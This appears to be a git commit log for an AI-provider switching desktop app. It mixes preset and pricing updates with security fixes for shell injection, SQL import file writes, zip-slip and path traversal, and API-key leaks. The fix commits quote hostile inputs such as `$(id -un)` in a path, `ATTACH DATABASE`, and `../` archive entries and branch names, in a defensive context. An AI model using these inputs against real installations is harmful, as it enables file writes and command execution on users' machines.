`deepCloneFallback` gets the same skip. Its impact differs and the
comment says so: it does not reach the global prototype, it swaps the
clone's own prototype, giving the copy ghost properties. It is dead while
`structuredClone` exists, but the two paths disagreed on `__proto__`.
|
||
|
|
134bdc0e65 |
docs(sessions): record the renderer trust boundary for terminal launch
`launch_session_terminal` takes an arbitrary string from the renderer and hands it to a shell. External audits report this as arbitrary command execution over IPC. Document it as a known, accepted risk instead of leaving it to be re-reported every audit cycle. The precondition for exploiting it is control over the renderer, which already implies local code execution as the user -- at which point going through this command grants nothing extra. The renderer is treated as a trusted boundary, supported by four facts each verified against the tree: - the only `dangerouslySetInnerHTML` (ProviderIcon) takes an icon *name*, gated by `hasIcon()`, and reads the SVG from a build-time registry; neither users nor deep links can supply markup - no `eval` / `new Function` anywhere in the frontend - `frontendDist` points at the bundled output, the webview loads no remote origin, and there are no `<iframe>` / `<webview>` elements - CSP is `script-src 'self'` -- no inline and no external scripts The note lists what invalidates the conclusion, so the exemption is falsifiable rather than a standing opinion: rendering network- or config-sourced rich text, embedding a webview or navigating to a remote origin, relaxing `script-src`, or introducing any way to execute external code in the renderer. Any of those and this command must be changed to accept a session identifier and rebuild the command in the backend. It also states explicitly that `cwd` is *not* covered. That value comes from disk scanning and can legitimately contain `$(...)` regardless of renderer trust, which is why it is escaped rather than exempted. Without that sentence "the renderer is trusted" invites being read as "nothing on this path needs handling". |
||
|
|
35486afdda |
fix(sessions): use POSIX single-quote escaping for terminal cwd
`shell_escape` wrapped the working directory in double quotes and escaped
only `\` and `"`. Inside double quotes a shell still expands `$(...)`,
backticks and `$VAR`, so the quoting stopped spaces but not command
substitution. Verified: `cd "/tmp/$(id -un)"` runs `id`.
The value is `selectedSession.projectDir` -- a real path recorded in the
AI CLI's session history. macOS allows `$`, `(` and `)` in directory
names, so any project whose folder is named that way triggers it on
Resume; no compromised renderer is required.
Three built-in launchers were affected because they route through
`build_shell_command(command, cwd)`: Terminal.app, iTerm and kitty.
Ghostty, WezTerm/Kaku and Alacritty were already correct -- they pass the
directory as its own argv element (`--working-directory` / `--cwd`) and
call `build_shell_command(command, None)`. Terminal and iTerm go through
AppleScript `do script`, which accepts a single shell line and has no
cwd parameter, so correct quoting is the only option there.
Switch to POSIX single quotes, where nothing expands, using the
close-escape-reopen `'\''` sequence for embedded quotes. A test pins the
two-layer interaction with `escape_osascript`, which doubles backslashes
on the way into the AppleScript literal.
Also escape the `{cwd}` substitution in `launch_custom`, and correct that
function's comment: the escaping there is context-dependent and only
holds while the placeholder sits in an unquoted shell word. A template
written as `echo "{cwd}"` puts the inserted quotes inside double quotes
and command substitution runs again. The branch has no UI entry point
today; the note now says it must be redesigned before one is added
rather than implying it is already safe.
|
||
|
|
c98913df41 |
fix(database): reject cross-file statements during SQL import
`import_sql_string_inner` validated only that the file starts with the `-- CC Switch SQLite 导出` comment, then handed the whole text to `execute_batch`. Anything after that prefix ran unchecked, so a crafted backup could `ATTACH DATABASE '/path/x.db'` and create a SQLite file anywhere the user can write. The side effect lands before `validate_basic_state`, so the file survives even when the import as a whole fails. `settings` is in neither SYNC_SKIP_TABLES nor SYNC_PRESERVE_TABLES, so the WebDAV/S3 sync path reaches the same code. Install a SQLite authorizer for the duration of the external batch only, then clear it so our own schema maintenance is unaffected. Deny what can leave the temp database rather than allow-listing what `dump_sql` emits. The batch runs on a throwaway NamedTempFile whose entire contents are already decided by that same SQL, so DELETE/DROP/ UPDATE hand an attacker nothing new -- the only meaningful boundary is the temp file itself. A strict allow-list only adds the risk of refusing a legitimate backup whose schema has a shape we did not anticipate. The denied set was measured, not guessed: `ATTACH DATABASE 'x'`, `VACUUM INTO 'x'` and bare `VACUUM` all surface as `AuthAction::Attach`, so one rule covers all three -- which keyword scanning would not, since `VACUUM INTO` contains no "ATTACH". Also deny vtable creation (file-backed modules such as csvfile can read and write arbitrary paths) and `Unknown`, so future SQLite statements fail closed. Tests cover both denied statements (asserting no file is left on disk, not merely that the call errors) and a real export round-trip, which guards against the allow-list regressing into false refusals. |
||
|
|
993077c60c |
chore(presets): migrate AIGoCode sponsor domain to .app
Full domain migration aigocode.com -> aigocode.app (bare domain + api. subdomain, invite path unchanged) across all 8 preset files and 4 README languages. Icons, promotion keys, and i18n copy unchanged. |
||
|
|
12b972a66e |
feat(usage): add automatic models.dev pricing sync (#5734)
* feat(usage): persist model pricing in local config * feat(usage): sync selected models.dev pricing on startup * fix(usage): address models.dev sync review feedback * fix(usage): harden local pricing synchronization |
||
|
|
ff3bc242cc |
fix(Security): zip-slip on skill install, two credential leaks, and three panic paths (#5811)
* fix(security): harden GrokBuild credential handling and Codex/Anthropic transforms against malformed input
Three robustness/security fixes in the upstream v3.18.0 code, each with a
regression test.
1) grok_config: remove the unconditional XAI_API_KEY fallback in
extract_credentials(). Credentials now come only from an explicit inline
api_key or the process env var named by env_key. Silently substituting a
different account's key (when the declared env_key var is unset) could
leak that key to whatever base_url the config points at.
2) deeplink/provider: merge_grokbuild_config no longer resolves env vars
into a plaintext api_key on import. A deeplink is untrusted input;
resolving+inlining would persist the victim's environment secret into the
imported provider's config.toml and ship it to the link's declared
base_url. env_key now stays an indirection (name), not a resolved secret.
3) proxy transforms: stop panicking on malformed upstream data.
- transform_codex_anthropic::anthropic_sse_to_message_value: only store a
`message`/`content_block` when it is an object; otherwise treat it as
empty, so the later `["content"]`/`["text"]`/`["signature"]` index
assignments can't panic on a scalar/array Value.
- streaming_codex_anthropic::responses_sse_events_from_anthropic_message:
bail out with a failed-event when the buffered body is a top-level JSON
array/scalar (a gateway that ignores stream:true), instead of
index-assigning into a non-object.
- mcp/grokbuild sync: normalize a non-table `mcp_servers` before
inserting, avoiding a toml_edit IndexMut panic on a user-edited
config.toml.
Panic findings verified with a minimal repro (serde_json index-assignment on
a non-object Value aborts). cargo test --lib: 2183 passed / 0 failed.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(mcp): normalize a non-table `mcp_servers` in Codex config before insert
Same class of bug as the GrokBuild MCP fix in the previous commit, but in the
much more widely used Codex path.
`sync_single_server_to_codex` guarded only with `contains_key("mcp_servers")`,
so a user-edited `~/.codex/config.toml` where the key exists but is *not* a
table (`mcp_servers = "x"` / `[]` / `42`) skipped the rebuild and then hit
`doc["mcp_servers"][id] = …`, which panics in toml_edit's `IndexMut`
(`.expect("index not found")`). The panic happens inside a Tauri command and
unwinds across the FFI boundary; in the provider-switch flow it also fires
after the DB/live write already committed, leaving a half-applied switch.
Extract the normalize-then-insert step into `upsert_mcp_server_table()` so the
previously panic-prone logic is unit-testable without touching the real
`~/.codex/config.toml`, and normalize any non-table value to an empty table
before inserting.
Audited the sibling MCP writers while here: claude.rs / gemini.rs /
hermes.rs / opencode.rs do not have this pattern (their `contains_key` uses are
read-only checks), and the other index-assignments in codex.rs operate on
freshly built `Table::new()` values, which are safe.
Tests: 2 new regression tests (malformed non-table values normalize and insert;
an existing valid table keeps its entries). cargo test --lib 2185 passed / 0
failed; cargo clippy --lib -D warnings clean.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(security): reject path-traversal entries when extracting a skill repo archive
`SkillService::download_and_extract` built the output path from the raw ZIP
entry name (`file.name()`), stripped only the leading `<repo>-<branch>/`
component, and then `dest.join(relative_path)` → `fs::File::create`. A crafted
entry such as `repo-main/../../../evil.sh` therefore escaped the destination
directory (zip-slip): arbitrary file write outside the temp extraction dir.
The archive is third-party controlled: it is downloaded from
`https://github.com/<owner>/<name>/archive/refs/heads/<branch>.zip`, and a
skill repo (`owner`/`name`) can be added through an untrusted `ccswitch://`
deeplink (`deeplink/skill.rs`), so the attacker fully controls the archive
contents.
Fix: resolve each entry through `zip::read::ZipFile::enclosed_name()`, which
rejects `..` components and absolute paths, before stripping the archive's
root directory and joining onto `dest`. Unsafe entries are skipped with a
warning. This matches what the two sibling extractors in this codebase already
did correctly (`extract_local_zip`, `webdav_sync/archive.rs`) — this call site
was the one that had been missed.
The extraction loop is split out into `extract_repo_archive()` so the guard is
testable without network access.
Verified the test actually catches the bug: with the guard reverted to the old
`file.name()` behaviour the new test fails ("zip-slip entry must not escape
dest (temp root)"); with the guard in place it passes.
cargo test --lib: 2186 passed / 0 failed; cargo clippy --lib -D warnings clean.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(security): strip all credentials from the shared Gemini common-config snippet
`extract_gemini_common_config` skipped only two hardcoded keys
(`GOOGLE_GEMINI_BASE_URL`, `GEMINI_API_KEY`) and copied every other `env`
entry into the shared snippet. But `GOOGLE_API_KEY` is a first-class Gemini
credential — `provider.rs` resolves it via
`first_non_empty(env, &["GEMINI_API_KEY", "GOOGLE_API_KEY"])` — so it was
never stripped.
That snippet is not inert: `apply_common_config_to_settings` (live.rs)
deep-merges it into the `env` of *every other* Gemini provider that uses the
common config, and the snippet is auto-extracted on startup, on import, and on
switch. Net effect: account A's key gets written into provider B and sent to
B's `GOOGLE_GEMINI_BASE_URL`, which may be a third-party relay. Anything else
the user put in `env` (`GOOGLE_APPLICATION_CREDENTIALS`, a proxy
`*_AUTH_TOKEN`, …) leaked the same way.
Fix: also skip `Self::is_sensitive_config_key(key)`, reusing the pattern
matcher the Claude extractor already relies on for exactly this reason (its
comment notes a fixed enumeration "will always miss the next `*_API_KEY`").
`GOOGLE_API_KEY` matches its `_API_KEY` suffix rule. Shareable non-secret
config (e.g. `GEMINI_TIMEOUT_MS`) is preserved.
Verified the test catches the bug: run against the old two-key filter it fails
with "credential GOOGLE_API_KEY must not leak into the shared Gemini snippet";
with the fix it passes.
cargo test --lib: 2187 passed / 0 failed; cargo clippy --lib -D warnings clean.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(security): validate skill directory from backups and sync-imported DB rows
The skill install pipeline sanitizes the install directory name, but two
entry points bypassed it entirely:
- restore_from_backup joined metadata.skill.directory (raw meta.json
content) into the SSOT dir with no validation, allowing a crafted
backup to copy attacker-controlled files outside the skills directory
and to persist the poisoned value into the database.
- Sync import (WebDAV/S3) loads the remote database dump verbatim, so a
malicious or compromised sync snapshot could plant a skills row whose
directory contains path traversal. Every later raw join then operated
on attacker-controlled paths — uninstall/remove_from_app would
remove_dir_all outside the managed dirs (arbitrary directory deletion),
and sync_to_app_dir would write/symlink outside them.
Add require_valid_directory() (built on the existing
sanitize_install_name) and enforce it at restore_from_backup,
sync_to_app_dir, remove_from_app, and uninstall. Regression tests cover
all three sinks plus the metadata path; each was verified against the
unguarded code first (disabling the guard makes the restore/uninstall
tests complete the traversal write/delete, failing the assertions).
Also fixes a pre-existing cargo fmt drift in mcp/grokbuild.rs.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(security): reject path separators in sanitize_install_name on all platforms
The previous components()-based check was platform-dependent: on
Linux/macOS a backslash is not a path separator, so "a\b" parsed as a
single Normal component and was accepted as a valid install name — the
same value becomes a nested path when synced or restored onto Windows.
CI caught this on the Linux runner (the Windows runner passed).
Reject both '/' and '\' explicitly so the validation is
platform-independent; the components() check stays as the second layer
for dot segments, roots, and prefixes.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(security): close the remaining skill-install attack chain
The zip-slip guard added earlier only covered half the problem, and the
repo coordinates that decide *which* archive gets downloaded were never
validated at all. Together those two gaps let an attacker choose both the
bytes and where they land.
1) zip-slip, second layer. `enclosed_name()` only guarantees the entry does
not escape the *archive's own* root, and it does not normalise the path —
`..` survives verbatim in the returned value. Stripping `root_name`
afterwards spends one level of that depth budget, so `repo-main/../evil`
still escaped `dest`. On Windows it is worse: `root_name` comes from
`split('/')` and may contain backslashes, which Windows treats as
separators, so one `strip_prefix` can eat N components. Re-check the
*actual* relative path for `ParentDir` right before `dest.join()`.
Verified by reverting the guard: the single-`..` case escapes without it.
(The existing test used two `..`, which `enclosed_name()` rejects on its
own — it covered the half that was already guarded.)
2) Repo coordinates are now validated. `download_repo` formats owner/name/
branch straight into
`https://github.com/{owner}/{name}/archive/refs/heads/{branch}.zip`,
and `deeplink/skill.rs` applied no validation whatsoever. URL parsing
resolves dot segments, so a branch of
`../../../releases/download/v1/evil` retargets the request at a *release
asset* — arbitrary attacker-uploaded bytes. That is what made (1)
reachable in practice: git itself will not let a tree contain `..`.
Note the trigger is below "install": repos are enabled by default, so
merely opening the Skills panel downloads and extracts.
`validate_repo_ref` whitelists all three fields. Branch names legally
contain `/` (`feature/x`), so the check is per segment rather than a
blanket separator ban; an empty branch keeps its existing "use the
default branch" sentinel meaning, same as `HEAD`. The main guard sits in
`download_repo` — the single convergence point for all four call paths —
because both `skill_repos` and `skills` can be overwritten wholesale by a
sync snapshot, which no insert-time check can prevent. Entry-point checks
(deeplink, `add_skill_repo`, agents lock) exist so bad values surface
immediately instead of silently failing on every later panel open.
`build_skill_doc_url` is covered too: it feeds `readme_url`, which the
frontend hands to `openExternal`.
3) Regressions from the previous commits in this branch, both fixed:
- `uninstall` ran the directory guard *before* `db.delete_skill`. That
method has exactly one call site and is not exposed as a command, so a
row with a dirty `directory` (pre-v3.11.0 installs, or anything
`import_from_apps` still creates today — it has no sanitiser) became
permanently undeletable from the UI. Now the guard skips the filesystem
work but still deletes the row.
- `sync_to_app` propagated with `?`, so one bad row aborted the entire
app's skill sync — and that runs on provider switch. Now it warns and
continues per entry.
- `require_valid_directory` returned `sanitize_install_name`'s normalised
value, which trims. A DB value of `" foo "` would then join as `"foo"`
and miss the real directory. It now validates without rewriting.
4) Guard applied to the sinks the earlier commits missed: `migrate_storage`
(rename + remove_dir_all), `update_skill` (delete + write attacker-named
paths), `import_from_apps` (both a sink and the source of dirty values —
`selection.directory` arrives raw over IPC), `resolve_uninstall_backup_source`
(copies any directory into the backup area, which the UI then lists),
`check_updates`, and `migrate_skills_to_ssot`.
5) Extraction limits. The archive bytes were fully attacker-controlled via
(2), and this path had no ceiling of any kind, unlike
`webdav_sync/archive.rs`. Added entry count, total extracted bytes, a
symlink-target cap (zip 2.4.2's `make_reader` does not truncate at the
declared `uncompressed_size`, so a symlink-flagged entry that inflates to
gigabytes was read straight into memory), per-directory charging (a
directory-only archive writes no content bytes but still consumes inodes),
and a download-body cap (`response.bytes()` buffered the whole archive
before any limit applied). Budget is charged on bytes actually read and
written, never on sizes declared in the archive header.
Symlink materialisation is charged to the same budget, and a target that
contains the link itself (`dir/link -> ..`) is now rejected: the existing
"must stay inside base" check passes for it, and the recursive copy then
re-copies its own output every level until PATH_MAX.
6) Temp directories are now RAII. `download_repo` and `extract_local_zip`
called `TempDir::keep()` immediately and relied on every exit path
remembering `remove_dir_all`. Several did not — including
`fetch_repo_skills`, the highest-frequency path of all. Returning the
guard makes the leak unrepresentable at the call sites.
* fix(config): make removals and edits survive user-authored config shapes
The previous commits hardened the *write* side of the MCP tables against a
non-table `mcp_servers`. The read/delete side kept using `as_table_mut`,
which returns None for an inline table (`mcp_servers = { foo = {...} }` —
valid TOML). Removal then silently did nothing: the UI reported success, the
entry stayed in the file, and Codex loaded it again on next start. That is
worse than the panic it mirrors, because users usually reach for the toggle
precisely when an MCP server is misbehaving. Both Codex and GrokBuild now use
`as_table_like_mut` on both sides.
Normalisation is no longer silent either. Replacing a user's hand-written
`mcp_servers = "x"` with an empty table destroys data, so all four sites that
do it now log a warning first.
`update_codex_toml_field` had the same asymmetry with a different symptom:
when `model_providers` or `[model_providers.<id>]` was an inline table,
`as_table_mut` returned None and execution fell through to the "write a
top-level field" fallback. The user's `base_url` edit landed at the wrong
level, Codex never read it, and nothing reported a problem.
`opencode_config` parses `~/.config/opencode/opencode.json` with json5 into a
bare Value and never checked the root's shape. A user file of `[]` or a
scalar made `set_provider`, `set_mcp_server` and `add_plugin` all panic on
index-assignment, inside a Tauri command, unwinding across the FFI boundary.
(A top-level `null` is fine — serde_json promotes it.) Rejecting a non-object
root at the single read site fixes all three. Rejecting rather than rebuilding
is deliberate: the file also holds the user's own `model` / `theme` settings,
so a silent rebuild would delete them. Same treatment for the `provider` and
`mcp` sections, whose non-object forms made writes silently no-op.
* fix(proxy): recover a malformed Anthropic content_block as text
Sanitising a non-object `content_block` to `{}` stops the panic but creates a
quieter failure: the final Responses conversion matches on the block's `type`
and silently drops anything it does not recognise, so a garbled block header
turned into a `completed` response with empty output. The client saw the model
say nothing, with no signal that data had been discarded.
The replacement now carries `type: "text"`. The deltas that follow a malformed
header are usually well-formed, so this recovers the common case; a tool-use
block still yields nothing, exactly as before. A warning is logged when the
substitution happens.
The regression test now asserts through `anthropic_response_to_responses`
rather than on the intermediate value — asserting on the intermediate alone
passes while the client still receives an empty response.
* fix(grokbuild): decouple base_url from credential resolution, reject env_key-only links
`resolve_usage_credentials` called `extract_credentials(...).unwrap_or_default()`,
so a missing credential blanked the base_url too — even though it is written
right there in the config. Removing the `XAI_API_KEY` fallback in the earlier
commit widened that considerably: a GUI process on macOS does not inherit the
shell environment, so an `env_key` that resolves fine in a terminal resolves to
nothing here. The result was a Base URL shown in the UI that differed from the
one actually used, `{{baseUrl}}` expanding to empty in usage scripts (turning
requests relative), and native balance queries reporting "API key is empty"
while hiding the real cause. The two values are now resolved independently, via
the existing `grok_config::extract_base_url`, matching how the Codex arm of the
same function already works.
A deeplink whose only credential is `env_key` is now rejected by name. It was
already unimportable — `build_grokbuild_settings` has no `env_key` slot — but it
failed with the generic "API key is required", which reads like a malformed link
and invites the obvious "just carry the name over" fix. Carrying it over is
exactly what must not happen: the forwarder and the usage query both resolve
`env_key` at request time, so the victim's environment secret would still reach
the link's `base_url`. Same leak, merely deferred. The message says so, and the
test sets the probe variable so that restoring the resolution turns it red.
* fix(security): scrub credentials already leaked into the Gemini shared snippet
Fixing the extractor only prevents new contamination. A Gemini snippet is never
re-extracted once it exists — startup auto-extract and post-import extraction
both require `snippet.is_none()`, and the on-switch rewrite only covers Claude
and Codex — so existing users keep injecting the leaked key into live config,
the proxy upstream, and the new-provider form, where another account's key is
plainly visible.
Removing it from the snippet alone would make things worse. Merge and strip
cancel out by *value equality*: on switch-away, `remove_common_config_from_settings`
deletes the injected keys using the snippet as its only record of what to look
for. Once the key is gone from the snippet, the residue left in live config is
backfilled verbatim into the victim provider's `settings_config`, turning a
transient leak into a permanent one. So the cleanup covers all four locations at
once, and step order is itself a safety property: every fallible step runs before
the irreversible one, and a failure returns an error so the next start retries
from an intact state.
Deletion is by key *and* value, never by key name alone, so a provider's own
same-named key with a different value survives. The `~/.gemini/.env` edit
preserves layout rather than round-tripping through
`parse_env_file`/`serialize_env_file`: that pair drops comments, blank lines and
unparseable lines, collapses duplicate keys and re-sorts the file. Acceptable
when re-projecting everything, destructive for a targeted removal the user never
asked for — in testing it reduced a six-line fixture to one line, taking the
user's own key with it.
An audit record is written before any provider row changes, listing key names and
affected provider ids but *no values*: `settings` is not in `SYNC_SKIP_TABLES`,
so it is uploaded by WebDAV/S3 sync, and these are precisely the credentials that
must be destroyed. Keeping values would trade one deletion for a plaintext copy
that spreads across devices, has no UI to reach it, and never expires. It is
written only when absent, so a partially-applied earlier run cannot overwrite the
original pre-cleanup state.
Consequence, intentional: some Gemini providers will now report a missing API key
and need one entered. That key was never theirs. (The victim's own value was
already overwritten at merge time and cannot be recovered — worth noting in the
release notes, along with a recommendation to rotate the leaked key.) The snippet
row is deleted rather than set to `{}` when nothing shareable remains, and the
`cleared` flag is deliberately not set — either would disable auto-extract
permanently and prevent the user's legitimate shared config from ever coming back.
The frontend snippet validator is aligned with the backend matcher. It had the
same two hardcoded key names, so a hand-edited snippet could put `GOOGLE_API_KEY`
straight back with no error.
---------
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Jason <farion1231@gmail.com>
|
||
|
|
ccda04bfa6 |
chore(presets): migrate AICodeMirror and AICoding sponsor domains
- AICodeMirror: full domain migration .com -> .ai (www./api. subdomains, gateway paths preserved); drop api.claudecode.net.cn backup endpoint from endpointCandidates in 5 presets - AICoding: full domain migration .sh -> .inc (bare domain + api. subdomain, invite code unchanged); README brand copy now plain "AICoding" without TLD suffix Covers 8 preset files and all 4 README languages. Icons, promotion keys, i18n copy, and legacy migration ids unchanged. |
||
|
|
2b2f2cfad9 |
ci: mirror in-app updater to Cloudflare R2 with release-gated sync
- Move the R2 sync out of release.yml into a standalone sync-r2.yml triggered on release promotion (release: released) or manual dispatch, so the mirror follows the same gate as GitHub's /releases/latest - Hard-fail on the official repo when R2 secrets are missing (a silently stale mirror strands updater users); forks may still skip - Only the tag that is currently releases/latest may rewrite the root manifests or prune old versions; backfills of older tags restore versioned files only - Resolve releases/latest with retries and fail instead of guessing on API errors; re-verify right before publishing the root manifests - Add scripts/rewrite-updater-manifest.mjs to point latest.json download URLs at the mirror (minisign signatures cover file contents and stay valid); upload the macOS .tar.gz updater payload alongside installers - Put https://dl.ccswitch.io/latest.json first in the updater endpoints with GitHub as connectivity fallback |
||
|
|
708b38791c |
ci: add sha256 and real publish date to download manifest
The manifest generator now hashes each installer (SHA-256) so the website download page can display verifiable checksums, and accepts an optional pub-date argument. The sync-to-r2 job passes the release's actual publishedAt instead of relying on generation time, which drifted for backfills. |
||
|
|
934a2d0348 |
chore(presets): sync sponsor listing across apps and READMEs
Add the missing AICoding entry to the German README. |
||
|
|
bc7c82228b | fix(presets): correct OpenClaw Kimi For Coding base URL to /coding/v1 | ||
|
|
b972f0a3bd |
feat(presets): upgrade default models to Opus 5, GPT-5.6 Sol and Gemini 3.6 Flash
Bump the default model IDs across every preset file and the downstream defaults that mirror them: - claude-opus-4-8 / anthropic/claude-opus-4.8 / global.anthropic.claude-opus-4-8 -> claude-opus-5, covering all three naming forms - gpt-5.5 and the bare gpt-5.6 -> gpt-5.6-sol - gemini-3.5-flash -> gemini-3.6-flash Add gemini-3.6-flash to the built-in pricing seed (1.50 in / 7.50 out / 0.15 cache read per million). The seed runs INSERT OR IGNORE on every startup, so existing databases pick the row up without overriding prices the user edited by hand. Advance the Claude Desktop opus route ID in step with the frontend SSOT: CURRENT_OPUS_ROUTE_ID becomes claude-opus-5 and claude-opus-4-8 takes over the LEGACY slot, so route IDs stored in existing user configs still resolve through is_compatible_opus_route_alias. Also sync omo.ts recommendations, form placeholders, the SudoCode partner blurb and all four locales, plus the preset assertions that pin these IDs. |
||
|
|
b0482320a7 |
chore(presets): refresh sponsor domains and referral links
- PackyCode: packyapi.com -> www.packyapi.ai across all 8 app presets; drop the api-slb.packyapi.com endpoint candidate - RightCode: right.codes -> www.rightapi.ai across 7 app presets, keeping the /claude and /codex/v1 path split and adding the www prefix that the Codex-side endpoints were missing - ClaudeAPI: site -> www.apito.ai, referral -> console.apito.ai/agent/..., endpoint -> gw.apito.ai (Claude Code and Claude Desktop only) - APINebula: apinebula.com -> apinebula.ai across all 8 app presets, including the endpoint inside the Codex config.toml template - SudoCode.chat: referral link only, /register -> /sign-up with new aff and utm parameters (7 app presets); SudoCode.us is a different company and is untouched READMEs (en/zh/ja/de) carry the same URL updates. Brand names, icons, i18n promo keys and README copy are deliberately unchanged. |
||
|
|
9cf4ae41e6 |
feat(pricing): add Claude Opus 5 to built-in model pricing table
Seed claude-opus-5 at $5/$25 per MTok with $0.50 cache read and $6.25 cache creation, matching the Opus 4.8 tier. Verified against models.dev and the official Anthropic models overview. Fast mode ($10/$50) is a separate billing path and is deliberately left out of the table. New model id, so seed only; no repair entry and no SCHEMA_VERSION bump. |
||
|
|
876e9f898d |
feat(presets): restore AICoding partner across seven app types
Bring back the AICoding (aicoding.sh) provider preset that was dropped
in
|
||
|
|
414b71500c |
ci: mirror release assets to Cloudflare R2 for ccswitch.io downloads
Add a sync-to-r2 job that downloads the published release assets, generates the website download manifest, uploads both to the cc-switch-releases bucket (dl.ccswitch.io), and prunes versions beyond the latest five. The job skips itself when R2 secrets are not configured, so forks and the current pipeline are unaffected. |
||
|
|
878c26f31e |
feat(proxy): extend tool-result media handling to all conversion bridges
Generalize the Codex Responses-to-Chat tool media mechanism from
|
||
|
|
6c9d444c8a |
fix(proxy): move Codex tool-result media out of stringified tool text
The Responses->Chat conversion serialized image-bearing *_output items into role:"tool" text via canonical_json_string, so view_image results were tokenized as base64 text (~9000x inflation). Codex replays full history every turn, so sessions hit context-limit 400s and wedged (#4465, #5663). - add proxy/tool_media: shared detection/strip/clamp walker for tool output media (typed input_image / image_url / input_file / input_audio, Anthropic source and MCP data+mimeType image shapes, untyped data: image_url, whole-string bare data URLs) - transform_codex_chat: replace media blocks in place with marker text so tool content stays a plain string, and flush the extracted media as one synthetic role:"user" message after each consecutive tool batch; media-free traffic stays byte-identical to keep prompt-cache prefixes stable - media_sanitizer: detect and strip tool-output media symmetrically (including JSON-string outputs) so reactive image stripping can heal upstream modality rejections - forwarder: regression tests pinning the reactive trigger and the context-limit-400 non-trigger E2E against Kimi K3 through the proxy: the replayed turn stays ~12k input tokens with 99% cache hit, versus ~85k+ of base64 text per replay before. |
||
|
|
34cbb375f0 |
feat(usage): surface Grok Build session source in usage UI
Add the grok_session icon to DataSourceBar and the Grok Build labels for the app filter and data-source breakdown in all four locales (zh/en/ja/zh-TW). |
||
|
|
cd161f4401 |
feat(usage): import Grok Build official-mode usage from session logs
Grok CLI's official OAuth mode cannot be routed through the local proxy
(empty config is the mode switch, so there is no injection point), which
left official-mode usage invisible. Add session_usage_grokbuild to
import usage from ~/.grok/sessions updates.jsonl:
- Only turn_completed events carry usage; each event is the independent
per-turn total (accumulated across inference loops within one prompt),
so events are imported at face value. Do not reintroduce differencing
of adjacent events: counters reset every turn and differencing would
massively under-record.
- Cost priority: reported costUsdTicks (1 tick = 1e-10 USD) wins when
complete, because the backfill only repairs rows with total <= 0 and
can never correct a positive mispriced value; local pricing fills the
breakdown and raises a drift warning above max(1% of reported, 1e-6).
costIsPartial marks the reported value a lower bound: prefer a full
local recompute when the model is priced, else record the lower bound.
- Idempotency key grok_session:{session}:{prompt_id}:{model} anchors on
the upstream per-turn UUID (index fallback only when prompt_id is
empty), so rewind truncation cannot shift keys and double count;
orphan rows from truncated turns are kept since the tokens were spent.
- Anti double-count vs proxy takeover: 10min settle window plus a
time-window guard over recent grokbuild proxy activity; guarded skips
never mark files as synced.
- Seed grok-4.5-build pricing 2/6/0.30, back-derived from exact
costUsdTicks samples (cache read bills at 0.30, not the listed 0.50).
- Map _grok_session to a friendly provider display name and refresh the
takeover-capability comment in services/proxy.rs.
|
||
|
|
3cf84ca362 |
fix(usage): centralize cache-inclusive app set and cover grokbuild in cost backfill
The cost backfill hardcoded codex|gemini as cache-inclusive apps, so grokbuild TOTAL-semantics rows were priced on full input tokens with cache reads double-counted. Converge the writer (proxy logger and calculator) and the backfill recompute onto a single sql_helpers::is_cache_inclusive_app predicate backed by the existing CACHE_INCLUSIVE_APP_TYPES constant, and add a regression test for the grokbuild backfill path. |
||
|
|
15d5dbe065 |
feat: add Grok official subscription quota query
Add SuperGrok subscription usage display, following the existing Claude Code / Codex official-subscription pattern (protocol ported from steipete/CodexBar): - New subscription_grok service: reads Grok CLI credentials from ~/.grok/auth.json, calls the grok.com GrokBuildBilling gRPC-web endpoint, and parses the response via heuristic protobuf scanning (used percent, reset time, zero-usage special case) - Transient failures (network errors, HTTP 408, gRPC deadline/ cancelled) propagate as Err so the frontend retries and keeps the last good value; auth failures map to Expired with a re-login hint - Tier naming by reset distance: weekly limit, monthly, or a new "credits" tier (i18n added for zh/en/ja/zh-TW; tray shows "c") - New get_xai_oauth_quota command: xai_oauth providers (managed SuperGrok OAuth accounts) query the same billing endpoint with their bound account token; ProviderCard auto-renders the quota footer for them and hides the usage-script entry, and the tray / usage-script path routes xai_oauth providers to the managed account instead of the host app's CLI credentials - UsageScriptModal: drop the config-content heuristic for official detection; category === "official" is the single source of truth Claude-Session: https://claude.ai/code/session_01LSNvhEfuoJHaQLZcYQgBU5 |
||
|
|
a377d79303 | docs: sync v3.18.0 release notes and guide cross-links to new guide titles | ||
|
|
846fbdd1c0 | docs(guides): retitle Codex Claude guide to match | ||
|
|
3a9fb13a0b | docs(guides): add en/ja translations for Claude Code GPT guide and retitle | ||
|
|
606e7bbe75 | docs(release): add v3.18.0 release notes v3.18.0 | ||
|
|
df1751a893 | chore(release): v3.18.0 | ||
|
|
f3108bf754 |
feat(providers): group presets into sponsors and non-sponsors
- Original sort mode now shows official > prime partner > sponsors (preset file order, aligned with the README sponsor table) > non-sponsors sorted by display name - Physically reorder sponsor entries in all 8 preset files to match the README sponsor table order; add group marker comments - Drop stale section comments in openclaw/hermes preset files - Update ProviderPresetSelector tests for the new ordering |
||
|
|
b3f3aee3ee | docs(readme): move Unity2.ai sponsor row ahead of Shengsuanyun | ||
|
|
2bfca54801 |
docs(readme): reorder sponsors and refresh RunAPI benefit copy
- Reorder the sponsor table into the new priority order across all four locale READMEs (en/zh/ja/de). - Update RunAPI's benefit line to a 10% first-top-up discount (was "contact support for a ¥14 credit"). |
||
|
|
107eade30e |
chore(presets): add RunAPI referral link runapi.co/register
Point the RunAPI invite link at https://runapi.co/register?aff=iOKB across all 7 app presets (apiKeyUrl) and the four README sponsor rows (banner + CTA), which previously used the bare runapi.co homepage with no referral tag. The websiteUrl and runapi.co API endpoints stay bare, so the aff code never enters a request URL. |
||
|
|
3537076af2 |
chore(presets): update ClaudeCN referral link to claudecn.ai/register
Move the ClaudeCN invite link to https://claudecn.ai/register?aff=HEL9 across all 7 app presets (apiKeyUrl) and the four README sponsor rows (banner + CTA, which previously pointed at the bare .top domain with no referral tag). The websiteUrl and claudecn.top API endpoints are kept unchanged, so only the registration/referral link moves to the new domain and code. |
||
|
|
72efd64a3d |
docs(readme): serve Kimi sponsor banners from Moonshot CDN
Point the pinned Kimi K2.7 Code banner at the Moonshot growth CDN (kimi-zh.png for the ZH README, kimi-en.png for en/ja/de) instead of the in-repo assets. Alt text and the aff=cc-switch links are unchanged. |
||
|
|
f0b7b81c11 |
